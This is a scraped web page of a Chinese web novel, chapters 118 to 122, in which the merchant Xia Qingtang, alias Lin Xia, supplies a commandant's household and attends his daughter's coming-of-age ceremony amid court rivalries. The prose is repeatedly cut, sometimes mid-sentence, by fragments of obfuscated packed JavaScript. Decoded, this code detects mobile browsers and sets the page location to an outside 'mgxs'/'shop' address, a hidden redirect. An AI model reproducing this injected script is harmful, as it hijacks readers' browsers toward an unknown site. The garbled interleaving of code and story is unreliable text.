d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255332|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“来送贴子的人呢?”。 李三山:“在一楼雅间,已经派人在招呼了”。 夏清棠嗯了一声,又垂眸细细看了看手中帖子上的宋太尉府的印记,她们酒楼名气传的这么快?都传到太尉耳朵里了。 嗯,是她们的风格。 夏清棠:“带路。” 李三山:“好嘞,林掌柜。” 来到一楼雅间,夏清棠与宋太尉府上派来的人好好聊天客套一番,才得知,原来是宋太尉府上的千金及竿礼,他们老爷爱养生问道,宋千金也爱养身问道,最近在下面官员口中听说京城最近新开的酒楼四海楼,在这一方面口碑非常好。 夏清棠微笑对着来送帖子的人,“大人放心,到时候我们一定会将最好的一百份养生套餐安全送到贵府”。 来送帖子的人按照规矩要交定金,却被夏清棠拦下,“能得到贵府的厚爱,是鄙人的荣幸”。 那人领会,会心一笑,也不再推脱,乘马离开。 夏清棠望着那人背影消失,这才进入酒楼,直奔后厨,面容严肃,嗓音清亮的交代一遍这两天要加紧做的事情。 东西她们都齐全,那这两天,就要多在包装上下功夫了。 后日,宋太尉的千金及竿礼,夏清棠在嘴间细细咀嚼着这几个字,宋太尉的千金,只有一位,宋玉竹。 说来,她们二人之间三年前还有些焦急。 夏清棠脑海中浮现出那道嫩绿色的身影,明明那么胆小,那么害怕,看着又那么瘦小,怎么就敢一个人背着她下山呢,居然还认得路。 夏清棠不自觉笑出声,眼里满是回忆起往事时重新被勾起的愉悦情绪。 小龙人:“你傻乐啥呢?” 夏清棠:“跟你没关系。” 小龙人惊愕大叫,“什么?!你居然说和我没有关系!你知道吗?这个世界上,除了你娘你弟和你爹,我就是你最亲的人呐!”。 “呜呜呜,好伤龙心。” 第一百一十八章大道理。 “据说被伤到的龙心蒸一蒸,再烤一烤,最是美味,还有延年益寿的功效。” 小龙人瞪大龙眼,惊恐的捂住自己的胸口往后退,“你居然是这样的小棠棠!”。 夏清棠邪笑两声,没再搭理这只愚蠢的小龙人。 这两天药膳套餐的事情,她得盯紧点,毕竟那可是一百份,并且还是往太尉府上送的。 夏清棠抬脚就往后仓库走去。 小龙人追上扒在她的肩膀上,依旧喋喋不休的在控诉夏清棠的恶行。 “小棠棠,你这个邪恶的可恶样子,你等着,等哪天,我完全恢复实力,一定要狠狠的教训你!” 夏清棠轻勾唇角,“啧啧啧,看开你本事大的很呐,那日后是不是也不用我给投喂了”。 “什么?!那……那还是算了吧,呵嘿嘿我就喜欢你这样的邪恶的人儿。” 小龙人龙脸上浮上红晕,整只龙也是扭扭捏捏的。 夏清棠:“行了,跟我去仓库盯着点。” …… 满香楼隐秘包间内。 晏无咎懒散的斜靠在椅背上,垂眸看向立着的暗卫。 “说吧,你们这几天的都查出什么了?” 暗卫:“主子,只查到四海楼想把生意做大做强,最近在努力接近中低层官员。” “后日是宋太尉府上千金的及竿礼,今日宋太尉府上派人去四海楼订了一百份养身套餐,看那样子,四海楼林掌柜很是重视。” 晏无咎拿着茶杯的手微微捏紧,“宋太尉有给我发请帖吗?”。 话题偏移的太快,暗卫一时没反应过来。 晏无咎耐心的又问了一遍,“宋太尉府上有没有送请帖,及竿礼的”。 暗卫反应过来,“有,有的主子,今日宋太尉府上的人确实有去咱们府上送过请帖”。 晏无咎:“嗯。” 房间内陷入寂静,晏无咎轻台下巴,“你出去吧,让林木进来”。 暗卫:“是,主子。” “侯爷。” 晏无咎抬眸看向林木,神情平静的叫人看不出一点异样,“你走进点”。 林木惊疑,非常怀疑自己的耳朵,“侯爷,你是叫我走近你吗?”。 晏无咎:“嗯。” 林木咽了咽口水,抬脚走近晏无咎。 晏无咎:“去四海楼,把我接下来一个月的晚饭给订,要求是,送到府上。” 林木微怔,“是,侯爷!”。 唉!看来侯爷还是不死心啊,现在都想到这种法子来接近那个林掌柜了,这还仅仅只是背影相似,这日后若是叫侯爷遇到个脸长得像的,那可该怎么整。 到时候,侯爷不会变成话本子里的疯癫病娇吧。 林木打了个寒颤。 “你在想什么?” 林木:“啊?我没想啥,真的。” 晏无咎挥手,“行了,去办吧”。 林木:“是,侯爷。” 林木离开了,房间内重新归于寂静。 在宋玉竹及竿礼的这前几天,晏无咎也安生了许多,没有再去四海楼。 只是,四海楼每日晚上送来的饭食,总是被晏无咎挑剔,这挑剔的还甚是奇怪,所有菜,他都是吃的精光,就是那粥,每次都要来送菜的小厮回去告诉他们后厨,不好吃,要改进。 小厮日日回去告诉后厨,后厨短短两日时间已经不知道改进了多少次了,次品都被楼内小厮喝进肚子里,然后把做出来的最优品送往镇北候府,得到的回应却仍是不变。 毫无疑问,这事儿传到了夏清棠的耳朵里。 其实是后厨的人告诉夏清棠的。 夏清棠一听到是镇北候,顿时皱起眉头,啥都不挑剔,偏偏就挑剔这粥?晏无咎的性子还是这么怪。 厨子甲:“掌柜的,这可怎么办,听说这镇北候可是皇上和太子那里的红人啊。” 夏清棠:“把今日做的粥拿过来我尝一口。” 夏清棠心底还在臭骂晏无咎,一抬眼就看到厨子手里端着的那碗粥。 红枣桂圆糯米粥。 “红枣桂圆糯米粥?” 厨子甲:“是,林掌柜,这两日,镇北候喝的都是这个粥。” 夏清棠脑海中划过一道白光,心底突然浮现出一个不好的猜想。 厨子甲把粥水断在夏清棠的面前,“林掌柜,你要不要尝尝,给点建议?”。 夏清棠嗯了一声,浅尝了一口,张了张嘴,到了嘴边的话又咽下去,再张嘴,又是另一番说辞。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260773|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “大概是千人千态,镇北候口味可能偏重偏淡,也可能偏咸偏辣?唉!” “他们这种当官的人啊,心思最是难猜,下次,你们多做几种口味的送过去。” “哄着点。” 厨子甲挠挠头,林掌柜说的确实很对。 “知道了,林掌柜,那我就先去忙着了。” 夏清棠:“嗯。” 她在原地伫立了许久,待晚风吹散思绪,才往屋子里走去。 …… 隔日,夏清棠带着几个打扮干净整洁,面相俊俏或是硬朗的小厮乘着马车往宋太尉府上送药膳套餐。 来到宋太尉府上,门口的侍卫进去通报,很快,府内的管事大人便慢悠悠的出来。 李管事:“哈哈哈!林掌柜办事还真是利索,快快快,请进。” 夏清棠:“李管事客气了。” 她转身让小厮们一箱箱搬着药膳套餐进了太尉府。 夏清棠又看向太尉府的管事,“大人,那就劳烦您带个路”。 李管事爽朗大笑两声,“行行行,林掌柜考虑的真是周到,办事儿也妥当”。 两人一边往进走,一边唠嗑。 李管事:“林掌柜,你前几日派人送来的那什么养身套盒,我们老爷啊,很是喜欢,说来也是,林掌柜,你一介女流,能把生意做的这么好,在下实在是佩服啊。” 夏清棠轻笑:“李管事,言重了,走南闯北这三年,我遇到过很多比我更加优秀更加瞩目的女商人,况且,是在下更佩服李管事您。” 李管事哈哈大笑,对夏清棠这一句简单的拍马屁很是受用,关键是,这个林掌柜看着很是真诚,做生意的商人,面向能这么干净,也属实是难见。 李管事故意问到,“林掌柜,做生意的,是不是都像你一样,这么能说会道”。 夏清棠上了点高度,“能说会道是个生存之道,这世道,想活着,想体面的生活着,能说会道怕是最基本的了”。 不出所料,李管事的目光更加欣赏,他这个人平日里就喜欢讲点大道理,现在也算是碰到知己了。 李管事开始滔滔不绝的和夏清棠讲大道理。 夏清棠早有预感,这个年纪的男人,大多都喜欢讲点大道理。 第一百一十九章邀请。 李管事还在滔滔不绝,对夏清棠的目光也越发满意。 这年头,这么有悟性的后生真是不多见了。 李管事:“林掌柜……” “夏姑娘!” 一道突如其来的女声打断两人的谈话,两人转身看去,一道嫩绿色的身影在朝她们飞奔而来。 李管事惊讶:“大小姐。” 宋玉竹点了点头,立刻将目光看向夏清棠,看清脸的那一刻,眼底的惊喜瞬间化为失落。 夏清棠掩住眸底的惊讶,嘴角勾起恰到好处的弧度,“这位想必就是贵府的千金”。 李管事连忙点头,“大小姐,这位是四海楼的林掌柜”。 宋玉竹眸光始终紧紧注视着夏清棠的脸庞,隐隐……好像透露着些影子,尤其是那双漂亮的眸子。 超级像,甚至可以说是一摸一样。 夏清棠眼尾带上笑意,低沉的女声带着些揶揄的味道,“宋小姐,是我的脸上有什么东西吗?”。 宋玉竹猛然回神,慌乱移开视线,“没……什么东西,就是感觉林掌柜你有点眼熟”。 宋玉竹:“林掌柜,你有没有什么兄弟姐妹啊?” 夏清棠摇摇头,“没有哦”。 宋玉竹失望:“好吧。” 李管事看自家小姐这副模样,心底突然有一个不好的猜想,小姐这不会是在外面认识了什么妖魔鬼怪,种下情根,但是那人却消失了,现在看到林掌柜,发现那人跟林掌柜长得很像。 而且,小姐刚才还喊得那么激动,好像是什么夏萧杰来着,不行,他得去告诉老爷,他家小姐可千万不能被外面的臭猪拱了。 “李管事?李管事?” 李管事回神,“哎呦,看看我,年纪大了就是个这,时不时就要走走神,咱们往这边走”。 宋玉竹也跟在两人身边,坚持和夏清棠搭话,她就是下意识觉得不对劲。 林夏,夏清棠,眼睛一样漂亮,身高一样,背影一样…… 说不定两人就是失散的姐妹呢。 宋玉竹:“林掌柜,你是四海楼的老板吗?” 夏清棠:“嗯。” 宋玉竹:“哇塞,你好厉害!” “那你是自己做起来的吗?就是……那个…有没有依靠自己的爹娘呀。” 小心翼翼地问出这句话,宋玉竹看似不在意,实则双眸已经闪起期待的亮光。 夏清棠瞬间理会这小丫头脑袋里在想啥,她睫毛长而直,现在眼眸微低,长睫也更低垂,在眼下打下小小一片阴影,平添一股子失落的气息。 宋玉竹给自己看心塞了。 “我爹娘……我好久没有见过我爹娘了。” 宋玉竹给自己听的更心塞了,同时,心底又缺德的溢出一丢丢希望,没见过爹娘,那也就可能是从小走丢,或者是…… 宋玉竹没再想下去。 宋玉竹诚恳道歉,“林掌柜,抱歉”。 夏清棠善解人意的笑了笑,“没关系,宋小姐,我知道你不是故意的”。 宋玉竹点点头,“林掌柜,我就是觉得你好厉害啊,不像我,我连一个人出门,我爹都要派一堆人跟着我”。 “他总是说我看起来太怂了,一个人出门容易被人欺负了。” 夏清棠失笑摇头,这姑娘也就是看着很怂了,实际上……其实比怂强点。 “宋小姐,有空来四海楼玩。” 宋玉竹高兴的眨眨眼,“好啊好啊,我到时候会叫上我的小姐妹的”。 夏清棠抛过一个满意的眼神,上道。 夏清棠和李管事在这里看着小厮们把东西安全放好,开始告别,这免不了又是一顿客套。 客套完,夏清棠也要离开,却听到身后慌乱的脚步声和急促的呼吸声。 “林掌柜!林掌柜留步!” 是宋玉竹的声音。 夏清棠嘴角轻勾,停下脚步,转身,脸上是一副疑惑和关心的表情。 “宋小姐,找在下可是有什么事情?” 宋玉竹平复了一下呼吸,毫不犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260774|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地开口,“林掌柜,你明日可否来参加我的及竿礼”。 夏清棠佯装楞住的模样,呆滞的神情像是没反应过来这句话是什么意思。 宋玉竹又极其认真的重复了一遍,“林掌柜,我明日及竿礼,想邀请你来参加”。 夏清棠好似刚反应过来,面上是恍然大悟,紧接着又是惶恐和忧虑。 “宋小姐,这是不是于礼不合,毕竟,我只是个商人呐。” “若是叫你爹爹,或是其它什么世家子弟瞧见了,嘲讽我倒是不要紧,但要是嘲讽你,那可怎么办?” “及竿礼这么重要的日子。” 宋玉竹看到面前夏清棠漂亮双眸里明晃晃的关心,心中顿时正义感和英雄感爆棚。 “林掌柜,你放心,他们不敢,明日可是我的主场。” “再说了,明日若是林掌柜你来了,不是正好还能宣传宣传你的四海楼吗?我也会帮你的。” 夏清棠面上还是忧虑重重,“这……这事儿,太尉大人知道吗?”。 一听这话,宋玉竹脸上当即扬起娇憨的笑容,“林掌柜,你放心,虽然我爹说我是个怂货,但其实说的也挺对,所以这件事儿,我在来找你之前,已经有提前问过我爹”。 夏清棠惊讶,“是这样吗?”。 宋玉竹眨巴着眼睛看着夏清棠,“林掌柜,实不相瞒,我在京城并没有几个好友。”。 “明日的及竿礼,我也很不想办,但我爹非要办,今日一看到你,我就觉得,若是明日及竿礼上有你在,我会开心很多。” 说完这些,她又小心翼翼的补充一句,“林掌柜,你是不是觉得我很自私”。 夏清棠畅快笑了两声,轻轻点了下宋玉竹的额头,“宋小姐考虑的都如此周到了,怎么能说是自私呢,再说了,都及竿礼了,就该好好开心”。 “你这个不叫自私,叫自己争取,自己爱自己。” 哇塞! 宋玉竹心底发出惊呼,林掌柜说的好对,比李管事说的大道理好多了。 第一百二十章叙旧。 宋玉竹粲然一笑,脸上还带着红晕,“那,林掌柜,你明日可以来吗?”。 夏清棠:“当然会,只是……” 宋玉竹:“只是什么?” 夏清棠失笑,“我需要一份你亲手写的请帖啊。” 宋玉竹反应过来,连忙应声,“林掌柜,你能不能在这儿等一下,我赶紧跑进去拿”。 夏清棠点头。 宋玉竹迈着两条腿飞一般的跑进去。 夏清棠望着那道很快消失的背影,心中暗暗惊叹,力气大,跑得快,若是能习武的话,岂不就是一名女将军了? 夏清棠独自一人站在远处也别有一番趣味。 毕竟脑子中还有个小龙人的声音。 “林掌柜!” 宋玉竹跑的很快,这一来一回,夏清棠都没和小龙人聊够两句话。 夏清棠眸光专注的看着向自己跑来的宋玉竹,声音里充满赞赏,“宋小姐,你跑的真快”。 宋玉竹站定,闻言不好意思的轻轻笑了笑,又把手中刚拿出来的请帖递给夏清棠,“林掌柜,这是给你的,若是你想带几个好友一同前来,也是可以的”。 “我们太尉府,好酒好菜管够。” 夏清棠:“行,告辞。” 二人告别。 夏清棠带着一众小厮,乘着马车,回了四海楼。 明日既然要去参加太尉府唯一千金的及竿礼,那礼物肯定是不能少的。 夏清棠几乎是瞬间,就决定好了给宋玉竹送什么礼物。 …… 及竿礼这日。 太尉府张灯结彩,实在是热闹。 往府内的走的客人络绎不绝,目前来的地位最好的,就是太子朔千钰了。 太尉府门口,朔千钰与朔砚辞相遇。 两人自然而然的停步聊天,之间**味儿十足。 朔千钰依旧保持着自己的温润大气姿态,看向朔砚辞的眸子里却带着暗戳戳的挑衅和得意。 朔千钰:“三皇兄,你今日怎的有闲心来参加这宋千金的及竿礼。” 朔砚辞眸中泛着冷光,“连日理万机的太子殿下你都有闲心来参加这及竿礼,我这个闲散人员,又有什么不能来的”。 “怎么?殿下难道是看我碍眼吗?” 朔千钰心中已经骂了朔砚辞一万遍,面上还是保持着温润的笑容。 “三皇兄,几日不见,你倒是又犀利了许多,若是能当个谏官,倒是不错。” 朔砚辞持续冷笑,“殿下还真是独具慧眼呐,我嘴笨性子直,没有殿下你聪慧,若是日后那句话说的不如殿下你的意了,你还要多多担待啊,就把我的话当成是谏言听了”。 朔千钰声音温润,“那是自然,你们二人可是要好的兄弟”。 朔砚辞没再搭话,而是摆了摆手,示意朔千钰往府内走。 “尊敬的太子殿下,您请进。” 朔千钰微笑,“三皇兄客气了”。 随即甩了甩自己的衣袖,走在朔砚辞的身前,面上神情虽温润,但也能窥见其中倨傲。 二人一前一后进了太尉府。 紧接着就是灵汐公主和苏菀。 许久未见朔灵汐,她周身拽天拽地的疯癫气质收敛了许多。 而苏菀,还是那副温婉的模样,只是看着,就叫人平添好感,只是那双水眸始终望着远去的朔千钰,倒是坏了一丝美感,多了几分痴情。 前来参加及竿礼的人纷纷惊叹这宋太尉的人缘如此之好,不仅太子皇子公主都来了,连传闻与宋太尉不合的苏丞相的千金居然也来了。 还真是……看的人心情澎湃啊。 眼见重要人物纷纷登场,门口客人也不在逗留,都并肩入了场。 宴厅里,绕闹非凡,朔千钰身旁围满了人。 朔砚辞在一旁看的牙痒痒,恨得心抽抽。 该死的朔千钰,天天抢风头,抢不死你! 就在人群越聊越火热,越聊越性情的时候,另一边发出不大的惊呼声。 虽不大,但也足够吸引人了。 所有人的目光被吸引过去,每个人脸上谄媚的笑容全部消失殆尽,取而代之的是瞠目结舌,其震惊程度不亚于看到公鸡下蛋,铁树开花。 居然是晏无咎?! 那个两条腿儿都废了的大将军,怎么回来参加这种宴会。 还嫌不够丢人的吗? 一时间,众人脸上的表情异彩纷呈,只不过最后都心照不宣的化为嘲讽和看好戏。 轮椅碾过地面,发出极轻的声响,晏无咎坐姿慵懒,神色淡漠 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余下人纷纷盯着朔千钰的脸色看,他们走到一个位子前,看看朔千钰的脸色,再走到一个位子前,再看看朔千钰的脸色,额头的汗哗啦啦的流。 直到在一个不起眼的位子处,朔千钰脸色终于正常了,下人松了一口气,弯着腰正要对晏无咎说话。 朔千钰不满的声音却传来,“你们怎么能给镇北候安排个这么偏远的位子,你们知道镇北候是谁吗?那可是我们朔曜王朝的半个大英雄啊”。 “无咎兄,不如,你还是来我身旁坐着吧,这里视野那是极其好啊,哈哈哈!” 晏无咎点头,“行,着太尉府好风景,我也甚是想欣赏”。 两人乐呵呵坐到一起。 朔砚辞唾骂,两个装货,一个比一个会装。 我呸!千年的狐狸万年的精! 宴厅氛围又勉强恢复正常,话题并未围绕及竿礼的主人宋玉竹,而是围绕着朔千钰和镇北候。 朔千钰当着一众人的面,使劲对着晏无咎施展兄弟情。 朔砚辞快呕了,他想到自己三年前的计划,眸光又扫过晏无咎空荡荡的腰间,嘴角突然勾起一抹坏笑。 第一百二十一章女商人。 朔砚辞磁性十足的声音传遍宴厅每一个角落,“镇北候,你腰间常佩戴的那枚玉佩怎么今日不见你戴”。 “就是太子殿下少年时期送你的那枚。” 朔千钰温润的神情僵住,朔砚辞难道是知道了什么吗? 听到朔砚辞的话,晏无咎情绪并未有任何变化,只是淡淡扯了扯嘴角,“三皇子观察人的能力还是这么强,我们隔着这么远,你居然一下就能看到我今日未佩戴玉佩”。 这话的意思不就是说,你是何居心你,一直盯着别人看,你是个偷窥狂吧! 朔砚辞冷笑,“许久不见镇北候,镇北候倒数幽默了不少,也更有人气了”。 晏无咎品了品茶,并未搭话。 说出的话没人搭茬,朔砚辞脸色阴沉的发黑,感觉下一秒就要像一个被烧炸的暖炉一样,被气的四分五裂。 朔千钰暗暗发笑,脸上不显神色品茶。 朔灵汐坐不住了,起身走到晏无咎身边,却看到自己皇兄的警告的眼神,她不服,她生气,但是她更害怕,于是,她走过晏无咎,做到了朔千钰身旁。 朔千钰佯装责怪,“身为公主,怎能如此不知礼数,这里不是你们女眷坐的地方,听话,回去”。 朔灵汐:“皇兄~你这里视野好,而且,我就想坐在你旁边。” 朔千钰眉头紧皱,看着很是严肃,“行了行了,下不为例啊”。 他又看向众人:“哈哈哈!真是叫各位看笑话了,我们几个皇兄皇妹之间,感情是要好了点”。 “你说是吧,三皇兄”。 朔砚辞:“你、说的对。” 呵呵呵。 宾客们又开始拍马屁。 夏清棠走进来时,看到的就是这样一番场景。 毫无例外的,夏清棠这个从大门走进来的人,也迅速吸引了众人的注意力。 气氛又静了。 “这是谁家的千金。” 良久,才有人问出心中所疑惑的。 “不知道啊。” “没见过,不过看这周身气质,还有这落落大方的气度,怕是来头不小啊。” “能来这太尉千金的及竿礼,能是什么小人物。” “啧,但是为何从未见过。” “京城这么多人,难道谁还要先入入你的眼啊。” “可……” “别可可可了,反正一会儿就知道是谁了。” “行吧。” 但是很明显,在场没人知道这是谁,没人知道这人什么来头。 倒是朔砚辞看着这人实在是熟悉,可那张脸,他又确实是没见过。 夏清棠在下人的引领下坐到位子处,位子还出奇的好。 自从进来这宴厅,各种视线就萦绕着她,这其中,最不容忽视的,当属那晏无咎的了。 晏无咎这么会来参加这种活动,他不是说这种宴会没有意义,纯属浪费时间浪费金钱浪费生命吗? 不过,视线越多越好,她们做生意的商人,就是喜欢认识多多的有钱人。 还是朔千钰这个太子率先发话了。 “敢问这位姑娘,是哪个府上的千金,孤看着甚是眼生。” 夏清棠不卑不亢,神色淡然,“四海楼林夏”。 话音一落,就掀起波动。 窃窃私语声像苍蝇声一样蔓延。 “什么?竟然是个商人,还是个女商人,宋太尉怎么会邀请这样的人来参加自己女儿的及竿礼。” “可不是嘛,居然是个一身铜臭味儿,还小家子气的商人。” “话说,你们听说过**楼吗?” “听说过啊,不就是最近新开的酒楼吗?恐怕也就只能巴结巴结那种基层小官员了。” “哎,我觉得,恐怕是这个什么林夏哄骗宋小姐,宋小姐给她骗了,才送了个请帖。” “这商人来参加这及竿礼,保不齐就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265641|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来巴结我们的,你们说是不是。” “说得对,她们这种小商人,要是能巴结上我们,那可真是把下下下辈子的福分都用完了吧。” “哈哈哈哈哈哈!” 知道夏清棠只是个没有背景没有势力的女商人后,这群人说话更是放肆玩,言语神情间,仿佛已经能窥见之后夏清棠来巴结他们的画面。 “笑什么呢,不知道的还以为你们是唱戏的。” 晏无咎冷沉的嗓音打断宴厅的哄笑声。 朔千钰笑着打哈,“哈哈哈,无咎兄,你确实是幽默了不少”。 晏无咎看向夏清棠,眼尾沁着疑惑。 “原来这位就是大名鼎鼎的商界新秀,四海楼的掌柜,林掌柜呐。” “久仰大名。” 夏清棠不知道这男人在整什么幺蛾子,听着像是在拍她的马屁,可,他不是桀骜不驯的人设吗? 夏清棠内心:报告作者,你的反派崩人设了! 夏清棠莞尔一笑,“镇北候,我才应该久仰大名才是”。 两人一来一回,把一群人给唬住了。 总之,就是夏清棠的酒楼的菜非常好,是结合着药做成的专业药膳,对身体好的很。 晏无咎还故意说到,前几日订了四海楼的药膳,吃了之后,精气神儿都好了。 就连去算命,大师都由本来的早死之相,改成了长命百岁,寿终正寝。 一众宾客惊呆了。 夏清棠蒙圈了,她看着仍在滔滔不绝的晏无咎,又怀疑自己是不是在做梦。 晏无咎为什么在给她打广告,广告还打的这么猛。 经过深思熟虑,只有一个原因。 那就是!晏无咎缺钱了,没银子花了,想通过这种方式,和她合作,然后赚分成! 狡诈如晏无咎,知道自己地位高,他这样帮她说话,她作为一个世俗圆滑的商人,难道能不知道事后应该去送礼送银子吗? 第一百二十二章累。 晏无咎在帮这个四海楼的林掌柜解围,大伙都看出来了。 一时间也看不出来这个镇北候葫芦里卖的是什么药。 朔千钰笑着打趣,“无咎兄,几日不见,看不出来你倒是变得怜香惜玉了”。 “哈哈哈!是啊是啊,镇北候倒是开窍了。” 不少暧昧的目光在晏无咎和夏清棠之间徘徊,废人配女商人,简直是天作之合。 晏无咎冷眸淡淡扫过人群,极具压迫性,他毫不客气的开怼,“在各位眼中,怕是就只有那点儿女私情的东西了”。 “各位都是咱们王朝杰出的人才,怎么能这么肤浅,这……若是叫圣上知晓了,怕是会大失所望吧。” 气氛唰地静下来。 所有人脸色僵住,脑中思绪万千,隐晦又阴暗的目光落在晏无咎身上。 晏无咎现在虽是个废人,手中也没有什么实权,可是不知道为什么,皇帝就是护着他,实在是太怪了。 按理来说,皇上不是这样的人啊,之前那看晏无咎的眼神,明明恨得要死。 偏偏现在又护着他。 真是!真是让人恨得牙痒痒啊。 “哈哈哈!镇北候批评的是。” 朔千钰反而将目光看向夏清棠,“这位……林掌柜?哈哈哈,真是巾帼不让须眉,我看,倒是比在坐不少千金小姐都强的多”。 静。 死一般的寂静。 朔千钰这话成功将所有人看热闹的千金小姐的目光集中转移到夏清棠身上。 朔灵汐眉头一皱,嘴唇一动,张嘴就要开始批斗夏清棠。 朔千钰一记冷眼扫过去,朔灵汐不服气的抿住嘴,又不甘的收回要说的话。 朔千钰:“林掌柜,你们四海楼都有什么好东西啊,给本殿下讲讲,本殿下好改日一同和无咎兄前去光顾。” 夏清棠保持轻笑,“太子殿下果真是慷慨,可这马上宋小姐的及竿礼就开始了,我也不能在这儿占了时间,不如,等这及竿礼结束我再说与殿下你听”。 朔千钰眸底上衣邪光,这个林掌柜倒是上道的很,哼,晏无咎看上的女人,也不过是和见钱眼开,见权就跪的庸俗女人罢了。 嗤!一点挑战性都没有。 朔千钰:“林掌柜所言极是。” 晏无咎危险的眯起双眼,正要说话,却不待他开口,就听到宋玉竹温柔小意的呼喊声。 “太子殿下,镇北候……” 宋玉竹一一问了好,才眨着亮闪闪的眼睛看向夏清棠。 “林掌柜,你来啦。” 夏清棠:“能来参加宋小姐你的及竿礼,林某很开心。” 宋玉竹却顿住,没有其它原因,只因为眼前这位林掌柜,不仅身形与记忆中的夏姑娘的身形极其相似,就连着声音,也是越听越想,简直可以说是一模一样。 会不会,林掌柜就是夏姑娘。 爹爹经常会给她讲一些江湖上的传闻,这易容术,换脸术,她也听了不少。 难道,夏姑娘其实游走江湖的大侠! 夏清棠伸出骨节分明的手在宋玉竹面前晃了晃,“宋小姐,你在发呆吗?你的及竿礼要开始了”。 宋玉竹回神,仓促应了一身,就略有心事儿的离开了。 看的周围人是一头雾水,这个林掌柜和宋小姐到底是什么关系,奇了怪了,两人之间咋看咋不对,不对,明明是太子殿下,镇北候,林掌柜,宋小姐,这几个人看着感觉都有点毛病。 及竿礼很快开始。 该走的流程都走完,宾客们也开始了自己的盛宴。 宾客们也逐渐开始四处走动起来。 大多也都是往朔千钰身旁走。 挤不下的,就去晏无咎或者朔砚辞身旁凑凑热闹,说几句客套话,再浅浅试探一下。 朔灵汐和苏菀身旁也围满了世家小姐。 苏菀作为东宫太子妃,是个大红人,而朔灵汐作为太子的妹妹,自然也是个大红人。 唯独只有夏清棠这里冷冷清清。 夏清棠也乐的清闲,正好先把这盛宴享用一番,还没人在面前口吐飞沫。 “林掌柜!” 被围着的宋玉竹简单的和众人聊了几句话,就跑来夏清棠身边,悄悄的凑近她,小心翼翼的挽住她的胳膊。 “林掌柜,我那边的菜更好吃,酒也更好喝,你跟我一起去那边坐着吧。” 夏清棠余光瞥到那边聚堆儿的世家小姐们,唇角微微一勾,“好啊,宋小姐的心意,我必须领下”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271308|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋小姐欢笑着带着夏清棠走过去。 夏清棠就像一个天外来客,站在这群世家小姐们中间,显得那么格格不入。 有人也注意到了这一天。 小姐们安静了一点。 夏清棠则惊讶的走过去,垂眸看着桌上的菜式,惊喜的对着宋玉竹说,“宋小姐,怪不得你的皮肤这样白嫩透亮,原来是在这吃食上下了一番功夫”。 宋玉竹疑惑,“林掌柜,我听不懂,我吃的饭都是府里做啥我吃啥”。 她的双手情不自禁抚上自己的脸颊,好像是真的哎,她的皮肤好像真的比之前好了许多。 夏清棠抬手轻轻指了指桌上的一道菜和一旁的一道药膳。 “这药膳若是单独吃起来,是有些养血安神,温补气血的功效,可若是和这道菜搭配起来一起食用,则又多了些清浊排毒,净透肌肤的功效呢。” 宋玉竹惊喜,“哇塞,真的吗,我确实觉得我的皮肤比之前好了许多,林掌柜,你好厉害,若不是你,我都不知道这些饭食的搭配,还能有这样举一反三的效果。” 朔砚辞冷眼纵观全局,看到这边两人在一唱一和,顿时发出嘲讽的声音。 “嗤!你们二位一唱一和,莫不是来这儿给自己的酒楼做推介呢?” “宋小姐,你年龄尚小,心性单纯,可千万别被这来路不明的人给蒙骗了啊。” 周围的千金也都开始劝告宋玉竹,这年头,商人的名声不是很好,无奸不商几乎是他们的代名词。 “是啊是啊,这做生意的商人啊,最是油嘴滑舌了。” 带着审视和鄙夷的目光紧紧环绕着夏清棠,宋玉竹皱眉,下意识就把夏清棠护在身后,“你们不要这样说林掌柜,林掌柜不可能是那种偷奸耍滑的人”。 